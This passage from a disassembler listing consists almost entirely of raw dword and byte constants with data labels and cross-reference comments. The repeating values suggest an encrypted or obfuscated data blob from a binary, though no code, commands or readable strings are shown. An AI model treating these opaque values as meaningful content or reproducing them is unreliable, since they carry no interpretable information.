11321F8Fh, 0DB6F9266h, 0AF7B92D7h dd 2D7359DEh, 0D753CED1h dd 9C284CE3h, 0C23D5260h, 22321576h, 1134FD06h, 92C41566h dd 50FB0268h, 43F39F3Ch, 1716D80Eh, 89B71AA5h, 0BD321566h dd 44CB9E06h, 0FE4DCBE7h, 0CD87EA07h, 0BD340177h, 31B7989Ah dd 0F834015Dh, 88321574h, 49AD33DBh, 82C8FB5Ah, 0F1821FDCh dd 186DD79Eh, 0BBCB0636h, 223EFCB6h, 8CC11566h, 0BCFA3879h dd 1FA498D8h, 0A7BBEF21h, 17296C0Eh, 88389F69h, 22521566h dd 3006E5E7h, 709ACDE6h, 926B90A0h, 0BC6D1372h, 9952D90Eh dd 0A4CDE9B2h, 8E260423h, 57B7989Eh, 2D34015Dh, 11321DE1h dd 8AB41A66h, 24321566h, 2DE2EA07h, 113205E5h, 8839FC66h dd 61FB1566h, 39827EB9h, 409633E6h, 0B0B79CB3h, 0BC340E1Fh dd 386B90A0h, 0E46D1372h, 61665B0Eh, 443EFCF8h, 6D061566h dd 0FEB20FCEh, 0BED07860h, 0F1CD9769h, 24260423h, 0FFB24206h dd 9CDB4CC1h, 0BE321566h, 7A442831h, 1FC970ECh, 8AA12400h dd 7DDCF865h, 43BD7AF0h, 2A2190EBh, 0F3D1372h, 44321567h dd 0CBE2EA9Ah, 11321560h, 0ADE83452h, 0C1BBC2C4h, 24296C5Ah dd 1132198Fh, 9BA9AE66h, 8D7373F8h, 9D86D3C8h, 48B7D3DAh dd 0D734017Ch, 46BB1A06h, 0A9321566h, 16D994BCh, 0E9252603h dd 571A5D0Eh, 33BD1AB7h, 0F8321566h, 8832156Ah, 918DF64Dh dd 25933C2Fh, 0B0CD726Dh, 9977A099h, 43DB1372h, 3C321566h dd 0D68FF1D7h, 73DABCCh, 44321567h, 31B7989Fh, 0ED34015Dh dd 7D52C599h, 0A888C4E7h, 0AB531AEFh, 0A4B55E3h, 8FBB1A60h dd 4B321566h, 223214E8h, 1558E066h, 98327D9Ah, 0ADC71566h dd 22321568h, 0FB8C4ED9h, 87F8E890h, 0F00FC8B0h, 225ADC4Ah dd 71321576h, 23DE7EDh, 44321564h, 48537406h, 0F9C77566h dd 8832156Fh, 712C4B26h, 1A69E482h, 0EE534C8Ch, 9C16BCF3h dd 0C63D7560h, 22321563h, 6DC59400h, 8838FD0Ah, 0DC491566h dd 1CE0B216h, 0BF0A1A2Ah, 564BAC00h, 0C1BB7438h, 2426191Fh dd 11339D69h, 5C71566h, 5F180CE3h, 0AC3D7560h, 1132156Ch dd 8832108Fh, 42729966h, 0A354DC4Eh, 70F4E9B9h, 83DC599h dd 4432156Ch, 0CBB37306h, 9A54A349h, 8C5874A0h, 54327D93h dd 4ACA1566h, 11323566h, 8DB01A06h, 22321566h, 0A078C5E7h dd 0F8327F07h, 88321575h, 0A5C529A2h, 3CD01088h, 9845F7h dd 5C824BFCh, 0BB2AA382h, 3616BCF3h, 19DBEC60h, 0FE321566h dd 0B373D9A0h, 0AB56832Ah, 52AA0E3h, 8FBA1A60h, 24321566h dd 0F17444DEh, 94BB744Ch, 8E2615EBh, 442F9569h, 0A03D1566h dd 11321571h, 8832078Fh, 0D0E57866h, 0DC4EF18Ch, 52881E9Ah dd 10F42F24h, 2E9AE9B3h, 2239FC26h, 5A151566h, 0D304034Ah dd 0EB1242C1h, 2EB91A27h, 1E321566h, 883213EDh, 44B31A66h dd 4A321566h, 11320566h, 88229269h, 0CC3D1566h, 2232156Ch dd 1132108Fh, 0C10EA366h, 445A8464h, 42321466h, 11379369h dd 69881566h, 1645AC0Fh, 0CC34AA00h, 1158743Eh, 21A7EA9Fh dd 0BD340142h, 0F6F90EFh, 0F8CA1372h, 88321575h, 9566588Ah dd 8358FDB1h, 30396C64h, 9B146CE1h, 0CF892B1Dh, 3621F0D3h dd 16BA1A60h, 0E8321566h, 0FB3DEFECh, 0BFB974ADh, 1726108Fh dd 54EC9406h, 16583220h, 6519FCE7h, 70695150h, 0BC53A0EFh dd 56DB1372h, 41321566h, 0C94ACD2Dh, 621371B9h, 7E27D589h dd 0D454D819h, 1137FC47h, 4EF41566h, 0CDFCF07Ah, 361674FBh dd 8CB9EC60h, 8E26108Fh, 0CF547506h, 28DB74B0h, 0E6321566h dd 0D18D22D6h, 5517F63Fh, 11CD7425h, 921619EDh, 85DB11A2h dd 75321566h, 339550FBh, 38D8A60Bh, 211127AAh, 4B32ECE5h dd 220B59E2h, 1134FC66h, 6A81566h, 8AA009A3h, 0A3D39C37h dd 113211A7h, 8CDB9466h, 0C3321566h, 0AB6E316Ah, 43CA3162h dd 4AB3F7EFh, 44321562h, 2236FFE7h, 5B51566h, 84BB4942h dd 45BC1A42h, 0DB321566h, 0D103ED06h, 0A4B8AA06h, 7C884177h dd 4342F0BAh, 13C790EFh, 0D3D1372h, 4432156Eh, 22309169h dd 70521566h, 880EAD36h, 82BB1566h, 0A11611EDh, 775211A2h dd 4BB3E7EDh, 7EA770A9h, 6E8B4407h, 907D9F36h, 624C958Fh dd 96C39431h, 0BDDCF8Ah, 65314CA8h, 4EB33542h, 5C772878h dd 22389769h, 77521566h, 954D2EDh, 253CDBA7h, 9C52B800h dd 5970C5ABh, 2DC2FBE7h, 695349C0h, 7FA579FDh, 0AE4D354Bh dd 0AC76161Ch, 3B121046h, 0B9376FD9h, 716F820Ah, 88319169h dd 0CF541566h, 21B31AA0h, 1E321566h, 7753EFD9h, 68B36D16h dd 1A077642h, 0AA614B77h, 0E5725024h, 0C5E1E225h, 0C76A9DA5h dd 17D1D46Dh, 930FEA7h, 5CCCC88Dh, 79EC147Fh, 17DBEC06h dd 76321566h, 0D664FEE9h, 0CCB37436h, 42201FCEh, 0A8166165h dd 0F87AA31h, 0D5B33A8Ah, 1CE3572Fh, 9E5E229h, 540B9589h dd 61D59475h, 90034A12h, 880CBD91h, 1BCC1435h, 2232078Fh dd 4BE05E66h, 72BFCF5Fh, 21F8A6ABh, 0F579A55Dh, 0EEDE1794h dd 0B4B90D10h, 40F69642h, 223E9769h, 9D3D1566h, 88321560h dd 44329A69h, 9FBB1566h, 1726375Fh, 6150A706h, 44321577h dd 0CAA8CE3h, 35706816h, 6C830B64h, 0FA98D2DBh, 0DDB7744Dh dd 11769069h, 86DB1566h, 0E4321566h, 0B8AF3195h, 5E6579F4h dd 7F8438D3h, 4439FC4Dh, 62551566h, 0E3454B6Dh, 2B7F4084h dd 2425FD06h, 0CBCE1566h, 11321066h, 8832048Fh, 7B936466h dd 2ADA9093h, 0F6BBB5D9h, 5294E6Ch, 0CD63ACD7h, 26F39487h dd 90321566h, 8832118Fh, 603E9266h, 63E9C3Ah, 11321B8Fh dd 0A2CE9A66h, 0FE2FD250h, 9106FE03h, 469D88E5h, 0DAF8AA31h dd 381B296Eh, 786D1142h, 43F8D7E7h, 6152296Eh, 44321575h dd 78430280h, 68A26B40h, 6CFE6E8Fh, 0C5C05148h, 43A8C0A0h dd 0D415AE06h, 35452ADh, 965974A5h, 2220FC62h, 19A61566h dd 676875CDh, 933ECAD6h, 12BF9DDBh, 72B0701Dh, 0A39780EFh dd 4BDB1372h, 8A321566h, 0C227E19h, 0B1240CFBh, 76F963C8h dd 27DBB4FEh, 0D4321566h, 876F9E98h, 0C552110Ch, 0E73D795h dd 115A7468h, 0E8321576h, 44321C8Eh, 14923366h, 0C55A9F9Bh dd 71B9F0BAh, 605A7439h, 0AB32157Bh, 77523172h, 0EB31C4E7h dd 0AD327F07h, 2232156Fh, 0BB900366h, 0D7855CEDh, 0EDA7EA19h dd 0DA340142h, 206F90EFh, 9ADB1372h, 6F321566h, 64232B57h dd 5A574FD0h, 9684B70Ch, 8A21DE7Bh, 0E1BB4652h, 0DB9CFEFh dd 8CF69442h, 24321566h, 2232078Fh, 94833466h, 738FE50Ah dd 9816D100h, 2A9AF3h, 77834B9Bh, 0E9E909DFh, 1D162199h dd 0DE36D1E5h, 116CD58Eh, 85B01A66h, 0AD321566h, 2232156Eh dd 0E6CA0E2Eh, 8450654Bh, 0C5D79C33h, 223211A3h, 15DF9466h dd 0F321566h, 0CD6E314Ah, 0A63D3152h, 1132156Eh, 88309869h dd 25521566h, 0DE52B89Ah, 9EABE7DEh, 31637457h, 79FB4191h dd 6B73E4E7h, 0D0B310ACh, 82B52F71h, 476BDD4Fh, 27163122h dd 53B842ABh, 88321E8Fh, 99F27266h, 0E721ED91h, 0E37EA629h dd 36A4236h, 80B1315Ah, 2235FC62h, 45271566h, 3109995Fh dd 40DE94ACh, 0AB321566h, 15B3315Ah, 0A72C7F42h, 0AFB34E10h dd 541D0B0Ch, 0C2C7D9Ah, 0B4BB1566h, 45B81A42h, 0DA321566h dd 7752D556h, 5BADF5E7h, 4432078Fh, 0CF0C4066h, 0E545151Dh dd 0DF57BF7h, 0E39462C4h, 435D369Eh, 0F8CF60C8h, 88321574h dd 0C5CCD57h, 0C5E9228Ah, 948D861Ah, 53AA890Ch, 0CF3D3100h dd 22321567h, 1DB11A9Fh dd 87321566h, 443213E9h, 22B31A66h, 9A321566h, 1623152h dd 44361086h, 0E2B11566h, 35369262h, 8834FC3Ah, 0E0CE1566h dd 0FCE3E821h, 27ECFAE7h, 571B3381h, 3345AF34h, 0E0B30E28h dd 1AAAAA01h, 6168C267h, 44321572h, 29F980A6h, 54DEE31Dh dd 0EE0A8276h, 0ED1E016Dh, 0C88C4ED9h, 90D59C31h, 883211A1h dd 40DD9466h, 0A5321566h, 986E315Ah, 73D3172h, 44321564h dd 4A5A7406h, 9832150Dh, 8768315Ah, 443217EAh, 0A9537566h dd 53E6CDBh, 8821FC60h, 6EF91566h, 0F227A3ADh, 66138EB7h dd 52912A39h, 0A8A52159h, 0DDCDAC92h, 20CBEA99h, 0E060E9A6h dd 44321566h, 0A8C0143Ch, 3DB4F64h, 2F321566h, 3B75131Fh dd 0BC465AD6h, 69BEBD67h, 7F7E13FAh, 24FA2517h, 12897393h dd 0A962741Ah, 0B4F678D5h, 7C2BED6Bh, 0B52106Fh, 4B1F271Dh dd 894262C1h, 0C33D4DA0h, 22321573h, 113D9469h, 82DB1566h dd 0E2321566h, 48A46FB3h, 4FE229A9h, 0F06EA88h, 6F1621E7h dd 7A19B726h, 5119AA31h, 70033EC4h, 0ADF3E039h, 0F4B3756Eh dd 47869003h, 4903749Fh, 0C13D5F93h, 0DDCDEA15h, 113F9269h dd 80DB1566h, 98321566h, 87E0997Ch, 4718D1BAh, 165DBEFh dd 1BCA9C91h, 42CB7538h, 11329969h, 0E3D1566h, 44321566h dd 0B1CA7407h, 3526E235h, 8752863Dh, 0C28DD3D9h, 432BFA00h dd 4B162199h, 8836D1E7h, 4B521566h, 223216EFh, 0CAD79566h dd 0BCB34507h, 391C9C42h, 73309A52h, 113215DFh, 9E31466h dd 391C9C57h, 0CB524C52h, 1132156Fh, 4F8E6620h, 1C1FA15h dd 43C09EDBh, 0AC67439Eh, 88321562h, 456FFBEFh, 25DB4B94h dd 0C1321566h, 11558062h, 0CD64C86Ch, 26F49480h, 92321566h dd 0BCB51188h, 50BB4942h, 2238FC42h, 0B91E1566h, 56627017h dd 0A10395DAh, 20C79099h, 18DB1372h, 16321566h, 0E5AB8947h dd 0E0336DB1h, 13C780EDh, 0DB521372h, 1707AA00h, 0C9F5943Ch dd 705C516Ah, 0AA0B805Fh, 0C03D1372h, 2232153Bh, 35269E9Eh dd 9D59C31h, 443211A1h, 26F59466h, 96321566h, 716E315Ah dd 141621EDh, 2637F5EFh, 14321566h, 88321562h, 181611E1h dd 22339D69h, 41CA1566h, 8836AA31h, 0BCBB1566h, 7AF41439h dd 0ED80FC9Ah, 0E8CEEA99h, 4CDADDEDh, 30321566h, 0A9B278AAh dd 0EEAAD2EDh, 1A34F3D9h, 606EA07h, 15F6943Ch, 87321566h dd 44321FEEh, 2237FC66h, 9FB41566h, 330E35Fh, 0CD643152h dd 26F49480h, 90321566h, 883211A0h, 60069266h, 23BD1A3Ah dd 0E8321566h, 83B81A07h, 24321566h, 0A3C5A269h, 483A468Fh dd 84B9746Dh, 0A3BB4242h, 2236D2E7h, 0D6B11566h, 0AC0E9262h dd 4420FC3Ah, 4A5E1566h, 0A66EA5B0h, 0F1F39FEh, 16A8C893h dd 8AA00B63h, 3506EA93h, 8CF6963Eh, 268C7306h, 0A13D75BDh dd 11321566h, 0E953B3D2h, 5E2F90A1h, 22321372h, 47521566h dd 0D7CBAA69h, 4432058Eh, 0C5E11966h, 0ECF88E82h, 0C6410D10h dd 65AFD83h, 6EF095C7h, 94F57439h, 8E260787h, 44321566h dd 223AFC93h, 92BA1566h, 4F714086h, 0F9B107E6h, 24296DCEh dd 64B61A66h, 70321566h, 44289569h, 0CB521566h, 11321576h dd 58F9890Dh, 50875111h, 426163C0h, 647A88D4h, 0E9C8AA69h dd 0DCE888EBh, 42C7137Ch, 984CAC06h, 40B94A5Bh, 4423FD07h dd 1C881566h, 0A7DC5582h, 0C9AF4054h, 678EFAB0h, 0CBCFEA35h dd 1132156Dh, 9762192Ch, 0B550CAC0h, 7A3B840Fh, 1EE1EA07h dd 883206EBh, 443CFC66h, 8C681566h, 0D641AA37h, 38454916h dd 694B99D1h, 213B9099h, 0F8C71372h, 8832156Ah, 9D8DA24Fh dd 0EEB83EDh, 5ACF449Ah, 8B3BA8E5h, 4B561372h, 223099E4h dd 1DB81A66h, 87321566h, 443213E9h, 22BC1A66h, 0D6321566h dd 9C311CE3h, 44321460h, 4252ED66h, 0CBF39437h, 0D178AFA5h dd 44321E8Eh, 464E5F66h, 5C1D868Ah, 0CB057103h, 256C7406h dd 61B890EBh, 7752137Dh, 0D4A8CDE7h, 94CD749Ah, 0CBCC9E06h dd 11321560h, 0BF5961ECh, 0C953ADF6h, 394B6DD3h, 113FFC60h dd 0EF2E1566h, 461F9CD0h, 0D1FAA7EBh, 9CE3A72Ah, 9436DBDBh dd 0FA64ED60h, 7AD20212h, 0C03AFBA7h, 72DC9488h, 0A69E83Eh dd 0A336FBA7h, 0EAD67D90h, 0D6C51424h, 0ABB3E24Fh, 6A8B007Fh dd 9BD19406h, 0E90EFA12h, 60269E31h, 4236D1E5h, 71FAA269h dd 8832138Fh, 0AC699466h, 0CB55FEE8h, 1132156Fh, 0BAE91148h dd 1B6E4DEEh, 0A953742Ch, 53E6CDBh, 8821FC60h, 0CE9E1566h dd 0BA284547h, 5E2C79Fh, 2FCBA2F5h, 0B1E40273h, 0DDCDAC00h dd 953DEA99h, 8832156Bh, 44321D8Fh, 0ECC75B66h, 3010C1A0h dd 61F2249Eh, 4432156Ch, 7293BD9Ah, 726F42FCh, 0E852207Dh dd 44321E8Fh, 0CDAEFA66h, 0B6742584h, 4673703Eh, 8EB97307h dd 228B4407h, 10321566h, 88884797h, 45321566h, 78309FACh dd 0D902EC3Fh, 88339E69h, 11CB1566h, 223214DBh, 4CDC1466h dd 50851A06h, 44321D8Fh, 0DF502666h, 7D940F78h, 0BCCD746Dh dd 0D88847E1h, 132A9811h, 4B363132h, 0FFAE203Eh, 85C70DEBh dd 2BDB1D8Fh, 0C8321566h, 0BAFCFCF4h, 4B9334BBh, 68CED457h dd 0EE5D9069h, 82DBEA99h, 39321566h, 7C9FF13h, 6943B09Fh dd 8CDE94EDh, 0CD321566h, 0EB3316Ah, 0D3164F42h, 0D2374D0Dh dd 2459D742h, 72534E31h, 0E66C4D30h, 0E3D83B0h, 4432156Ch dd 0E9B37306h, 0AE3D6FA8h, 0D0B74B9h, 42261A6Fh, 22BF9169h dd 1DB1566h, 0A4321566h, 11F68830h, 0BDF20C59h, 0F7039601h dd 0D94F64F6h, 140DC5DFh, 0E2027D32h, 106ABEC9h, 8DDB4CAEh dd 0E1321566h, 9747E334h, 943DD56Dh, 8832154Eh, 4432048Fh dd 0F2FB2E66h, 0C5AB5C03h, 0E181CF79h, 72277175h, 0E5CB5F3Eh dd 53640E3h, 88321460h, 9CB97566h, 0D753EDEDh, 181EAF34h dd 62F355F8h, 0E8F8946Eh, 74387951h, 113215D8h, 0FE43C66h dd 86B34B94h, 28AC0C01h, 0F868C467h, 88321561h, 6D746F43h dd 43FDDCD6h, 11249469h, 99DB1566h, 0A4321566h, 3CB41502h dd 0EA3ED6CBh, 0F5744391h, 5F68F1AEh, 0C79B7D9Eh, 1DB960EDh dd 8CF69642h, 44269069h, 42521566h, 1139FC07h, 19D01566h dd 0FBBBFD2Ah, 9A6FDF1Dh, 2DB7418h, 20321566h, 4AC8A105h dd 0E7242851h, 0F365BC32h, 0F41E4C6Eh, 0D788D200h, 0D574B76Dh dd 43E8E2BCh, 0D2160991h, 0AEB35F2Ch, 0B8A660E7h, 11339069h dd 25CB1566h, 25879C9Fh, 42340152h, 0C2851A37h, 8753EC3Eh dd 443207EBh, 2EBF1A66h, 0F8321566h, 88321561h, 0A700999Ch dd 0A3875712h, 1132118Ah, 0AC1E9C66h, 0B92BD80Eh, 0CFB34865h dd 12CF0CABh, 0D5CE7BEFh, 54DB4306h, 0AC321566h, 45917472h dd 0C9D915B9h, 4ACFC772h, 7A4A31D6h, 0BF4E1BDDh, 660F7422h dd 4BDCFB88h, 2232D6E3h, 19B81A66h, 87321566h, 443217E4h dd 0DE537566h, 0CCEF2BE7h, 0D3DC8BBh, 443215CEh, 22339D69h dd 46CE1566h, 883215D9h, 44884766h, 23321566h, 4B089C94h dd 8826FC39h, 0F6A61566h, 5B55A0CFh, 25DC7B20h, 2AAA7812h dd 87E3BD6Ah, 0AD3D7936h, 11321567h, 818B449Ah, 0C5373649h dd 67338687h, 0C8C55C4Ch, 930FCA7h, 447251A7h, 7BFC14A6h dd 11339D69h, 1C71566h, 500674D3h, 6DDBEC60h, 1E32154Ah dd 88321CE0h, 0C5547566h, 921CA789h, 1EDB7412h, 0C2321566h dd 2E80728Eh, 0C2DD1FE5h, 0EB5C8F67h, 1ADB7D46h, 4BCDEA98h dd 223206E3h, 113CFC66h dd 7EAD1566h, 0F7AEE67Eh, 0E2B0E5EDh, 0A6060AC8h, 882C5D0Eh dd 60369C66h, 0D31621E7h, 4A09685Ah, 0B4C3E6E7h, 55DB2E1Bh dd 8F321566h, 4E3637AFh, 0AACCDF44h, 980424D5h, 76788BA9h dd 15679055h, 49C71372h, 4EDB16AEh, 0A6321566h, 209EAE3Ch dd 41EE0D1Fh, 0CF547555h, 28DA75A4h, 50321566h, 13A37E28h dd 1FFABF87h, 0A9544C27h, 145374A5h, 0D4CE2AEEh, 0FA64C54Fh dd 7ECE2AEEh, 0F86CE54Fh, 8832156Eh, 0E8124BECh, 0AD4B1B82h dd 1E22D5A7h, 88321AEFh, 41DA7566h, 0E321566h, 79CC4523h dd 0E96B433Ch, 0CDC7DD57h, 363640FBh, 113EFC60h, 5D931566h dd 225A093Dh, 0A5EDA49Dh, 110FDBB1h, 87321466h, 4433DEE5h dd 0A3CAE966h, 0AA89AE58h, 35B71ADDh, 24321567h, 22339469h dd 90CA1566h, 0C8D426A9h, 0FE607401h, 9A0EC7h, 12F5E7E7h dd 30620A71h, 2FC3162Eh, 0C717CD91h, 1462A647h, 3A0CD39Ch dd 0CD6AD767h, 72CA4F70h, 7BC9AE35h, 4979629Fh, 0AFF3168Dh dd 0F5F1946Eh, 98CDE466h, 4E334EBEh, 51B01A3Eh, 0CB321566h dd 11321576h, 9E07F545h, 0BAB1EBEBh, 154C22DFh, 54C4F7CBh dd 0BC53A0EFh, 0CE3D1372h, 22321561h, 11339169h, 3CA1566h dd 5037FCFBh, 2AB51A60h, 1E321566h, 883217EEh, 0BB537566h dd 7D8C4355h, 203AD176h, 0D6363112h, 1BC3943Fh, 0CB3AD176h dd 11321561h, 0A54D4F76h, 1336A34Eh, 0D8BB4A36h, 10BD1A39h dd 7D321566h, 443EFC06h, 0A6C31566h, 6FCDAB70h, 6364C729h dd 0A8B1A2A9h, 6269C62h, 0EE1611E7h, 0D0402775h, 7621EA4Bh dd 2ADBE014h, 0A6321566h, 1234D76Fh, 6F0DC04Bh, 362E98E3h dd 0F1F3EC60h, 8837FC64h, 66C81566h, 21BE4FF1h, 53DE4E3h dd 53D7560h, 44321566h, 43E39E00h, 15DE9636h, 0D01621EFh dd 0B19FE938h, 3C55F463h, 47FA147Bh, 9655F4D8h, 1AC23C7Bh dd 2232068Fh, 5D3E9366h, 0B1317B73h, 8662ACF7h, 9792EE21h dd 2A607D7Eh, 941651EFh, 0CF547506h, 223EFCB6h, 0EFE01566h dd 1EBB741Ch, 0A6F9D399h, 0CA53C792h, 1132156Dh, 0C8C93230h dd 0B6029B39h, 0CBC3FBB3h, 1132156Ah, 83CC507Ch, 957278EAh dd 80646ECDh, 1E53743Fh, 883214EBh, 0EEDBE966h, 42321564h dd 25E59400h, 8820FCB7h, 76B61566h, 3ABFF56Dh, 0BCDB26F6h dd 504B6432h, 0D1A1A7C0h, 2234FC07h, 515D1566h, 834AE4A5h dd 4471310Eh, 63E9C66h, 11339C69h, 0DAC71566h, 86B3F7EFh dd 22321562h, 9636FFE5h, 16E3172h, 4B523172h, 223215E8h dd 0C7FC9466h, 0E969295Ch, 0CFCBDC57h, 360348F3h, 1309E060h dd 88959169h, 0C73D1566h, 22321567h, 158F409Eh, 89321566h dd 601E9E8Ch, 2236D1E7h, 1E521566h, 88320FECh, 4426FD66h dd 96531566h, 542B7FD6h, 29576D1Dh, 9D7E858Dh, 566056ACh dd 0AF6956D5h, 0AC892953h, 458C4307h, 23321566h, 1DB4B97h dd 15321566h, 0C89F0401h, 9E7B5BA9h, 11F89193h, 0B32FBA8Ah dd 50102CEBh, 0ADB71A60h, 0E8CDEA99h, 0C2FDAC37h, 95C516E9h dd 1E2AAE35h, 0C8130457h, 33C3943Dh, 501AF3Ch, 4C9EFCE7h dd 0D9BB36ECh, 84BF1A3Fh, 0AD321566h, 22321561h, 19702C54h dd 5FC8D5Fh, 507F6CEBh, 0C3CDEC60h, 0E4BF9C9Eh, 61340164h dd 4432156Eh, 3062FCCAh, 1A52D7CDh, 0D2162199h, 4436D1E7h dd 27DB1566h, 41321566h, 755026F5h, 1D162199h, 4236D1E5h dd 70EC9E00h, 88359669h, 22521566h, 0DBBF8BD8h, 0F1BB4507h dd 88321163h, 40DA9666h, 7E1611E1h, 0F81621EFh, 88321568h dd 0C7558AA6h, 53A2F357h, 0E5040C1Bh, 86DB37A0h, 0A4321566h dd 5B3A01Dh, 0EA0CAEDAh, 3516064Fh, 0ADAF9EE1h, 2D340163h dd 113205E4h, 82B01A66h, 0AD321566h, 22321563h, 0A09D389h dd 888847CBh, 45321566h, 228A45BCh, 10321566h, 0D03A9EB6h dd 443FFC3Ch, 1BF11566h, 54CD7B7h, 1113F037h, 0CFF8481Ah dd 3630E0E3h, 1BB61A60h, 0E8321566h, 0CB3D4B35h, 22321566h dd 0E9D2C407h, 0A45B9065h, 22521372h, 5FF7F7E7h, 1132018Fh dd 2CCBB766h, 3B92D04h, 78E62BCCh, 0F7ED5FCDh, 7C098C00h dd 75CA74D3h, 0CC5AE990h, 98321570h, 0D0643162h, 5EBA1A38h dd 42321566h, 1132058Eh, 30F9D166h, 0BA26584Ah, 0A101D722h dd 8955CB7Bh, 7AB94CDAh, 0BC9F7307h, 2D30F5A7h, 113214E9h dd 0D31EC66h, 42261A97h, 2232048Fh, 0C96E5666h, 26E572D5h dd 0C6BAB9A2h, 4424890Eh, 0E103912Fh, 7803D357h, 69C7B89Eh dd 16E8293Bh, 82D0163h, 0A5FA140Ah, 282B0A72h, 0F80E4863h dd 1E527552h db 0D1h byte_5C3A41 db 0CCh ; DATA XREF: ___:off_438438o db 53h byte_5C3A43 db 61h ; DATA XREF: ___:off_43A570o dword_5C3A44 dd 4432156Ch, 0A43A9C4Dh, 0A6941230h, 77530FD4h, 0C76C3152h ; DATA XREF: ___:off_43A568o dd 24DB11A2h, 6D321566h db 13h, 66h, 27h db 0E3h dd 1D8F9650h, 2334014Ah, 11E39169h, 0EE521566h, 0B8C3FEE7h dd 0AF3D749Ah, 11321567h, 0CDBF2E9Ah, 4B340177h, 2232A3E2h dd 9C09E966h, 8E261C57h, 449B9169h, 19CA1566h, 50694EBh dd 14B61A60h, 4B321566h, 22320FE5h, 5B11A66h, 61321566h dd 44321569h, 8E66A7C7h, 93EA305Eh, 976A04FEh, 0C9E06258h dd 39E4D5FBh, 16BF1A60h, 0E8321566h, 0FB3D7406h, 0F1CD7495h dd 0E6B3759Fh, 0D035670Dh, 4432188Eh, 198BBF66h, 0EA4AD4B2h dd 0FC9919F5h, 4DDBE00Ch, 9E321566h, 0EA4269B0h, 6904390Dh dd 1463743Fh, 7BFD9C3Fh, 0CCB79C93h, 61340179h, 44321568h dd 0C0E0163Fh, 32E7EC13h, 0C128969Ch, 0C13D11E6h, 22321562h dd 70C89E06h, 8812DF8Fh, 8EB87566h, 22369069h, 0A8541566h dd 5538F03h, 5FE4D5FBh, 2CB11A60h, 0F8321566h, 8832156Fh dd 0B593BEA1h, 648A0088h, 0F8E1EA99h, 8832156Dh, 666C293Bh dd 48F47935h, 0E45653B9h, 0A46BA8E5h, 4B321372h, 22327DE2h dd 6BE1A66h, 0E8321566h, 44321F8Fh, 2C788D66h, 9E35F0A1h dd 90F429Ch, 1B3E7CA1h, 0A709746Eh, 17261D57h, 88009169h dd 54DB1566h, 0B7321566h, 0BB0D85F2h, 224CF5E0h, 47C4DD39h dd 19A6E927h, 53204E3h, 96B71A60h, 4B321566h, 22321EE8h dd 1134FC66h, 6B561566h, 669B0C60h, 0DDCCFF8Fh, 77CA7599h dd 510AFCE7h, 0C5B72E07h, 2D340143h, 1132B5E3h, 883EFC66h dd 85161566h, 4F6359CEh, 0DC775695h, 35B190A2h, 422607ABh dd 73B61A66h, 71321566h, 883DFC9Ah, 175D1566h, 8E7645EDh dd 1A3EE66Eh, 8FB9E4Ch, 0C7C774E2h, 363244DBh, 953D1560h dd 8832153Bh, 0B3B97306h, 2232078Eh, 942F9D66h, 0CB220466h dd 0F65ECAB6h, 0BB291257h, 0F94F74C0h, 8832156Fh, 3FEE37D7h dd 68F8E317h, 70684BBEh, 0C2AE90EBh, 54DB137Dh, 81321566h dd 176302A0h, 4037B989h, 3B8B63FAh, 0CB9FB154h, 0EECDEB21h dd 88399169h, 0C4521566h, 0A23D9F88h, 11321566h, 9B72E07h dd 4B340143h, 0DDCC3FE2h, 0ACB1E999h, 8E296DEAh, 6EB71A67h dd 0CB321566h, 11321563h, 74E3631h, 84B72E7Fh, 2D340E1Eh dd 113201E3h, 0DBFE066h, 446B1E82h, 0F48D1A06h, 0F853DED1h dd 77CDEB54h, 4BCD249Ah, 223200EEh, 9A547566h, 8839FCBFh dd 2E841566h, 0A2715589h, 3D3CB4D8h, 35B174ADh, 42263EF3h dd 8BB61A66h, 1E321577h, 88321EE9h, 0ADB37566h, 704C32EEh dd 70ED9E00h, 8832188Fh, 86467666h, 2DCEF7E5h, 0E218F60Eh dd 0D09A4F0h, 42296DCAh, 22729069h, 3DB1566h, 0D0321566h dd 2F58BFDDh, 0EAE2237Bh, 48351A07h, 0F5194CF7h, 0A5B79EFDh dd 0CB340162h, 11321572h, 0EFADD57Fh, 0D4D424E5h, 142B6817h dd 0FA10D392h, 0AAD91EBDh, 0BB63DAE1h, 0A56B3162h, 9409E9A9h dd 8E296DD2h, 44649069h, 0AB3D1566h, 11321567h, 81B79E9Ah dd 4B340157h, 22321DEDh, 13B61A66h, 0E8321566h, 0BB8F4007h dd 0BCDEA99h, 0F9524889h, 88321577h, 0F0406B9Eh, 0E96DF6EDh dd 81F3A933h, 26002C24h, 4420FCDFh, 52B71566h, 6CCB18ECh dd 15863937h, 22A6468Ch, 1F87CA09h, 70E89F39h, 0F082905Dh dd 0C13D137Dh, 2232152Ch, 0D4B79E9Ah, 0E8340174h, 0ADCDA269h dd 22321577h, 4D80AC75h, 303C60DFh, 75E880FFh, 0D18286D9h dd 0A86374D2h, 0A530676Dh, 0C9C4D4E7h, 0ED33C79Bh, 0A63D753Fh dd 84DA75A1h, 0C3321566h, 0E5BA4279h, 5C4DAFE9h, 0D3A64453h dd 0C1097407h, 24296DDEh, 11649069h, 82DB1566h, 30321566h dd 0B98E125Ah, 1E160004h, 883CFC66h, 58CE1566h, 7F613C5Dh dd 0BE0E4921h, 3348CD4Bh, 496390EDh, 42CA1372h, 4DEB9537h dd 60B37339h, 1553AC7Eh, 223214DFh, 48FD1466h, 88321D8Fh dd 83A77166h, 6FD9C954h, 0E0B9750Fh, 819CAD06h, 25534888h dd 5A8E905Dh, 943D137Dh, 8832152Bh, 4432018Fh, 0B19B6D66h dd 0BF2F869Ch, 8B38AAB4h, 0FEA7ECD3h, 6928604Bh, 10B61A97h dd 74321566h, 691F90EDh, 30DB1372h, 0F4321566h, 0CDD76883h dd 0B9E81C59h, 0CA704CA0h, 0B34E1D49h, 0FE8C43AEh, 0C571C36Ah dd 0F43E6088h, 4FC51425h, 48B72E9Eh, 4B340E1Eh, 223270E3h dd 1E607566h, 883215E6h, 4DDB4B66h, 7321566h, 0D702778Ah dd 0B2BD5230h, 79B79E07h, 0DE34016Ah, 11321C8Fh, 9A0C5566h dd 0F749A33Fh, 9A62D1DEh, 2470342Dh, 0BDEAE226h, 8E8FCBD3h dd 2D6AD267h, 113235E5h, 0A3D7566h, 44321566h, 2232068Fh dd 5739FD66h, 179940FEh, 37A185DEh, 9450573Dh, 4790DFB8h dd 0D09E907h, 42296DA2h, 225E9069h, 2DB1566h, 8C321566h dd 0FC88AB4Dh, 7A7EF403h, 14C01576h, 5D08DE98h, 0C1B96980h dd 242600A3h, 0E7B37306h, 84DBECABh, 0A8321566h, 539F6192h dd 8A549D96h, 0E973BD7Ah, 0BBCDAB30h, 0D51BEA99h, 14BF1A38h dd 0E8321566h, 25F4AA69h, 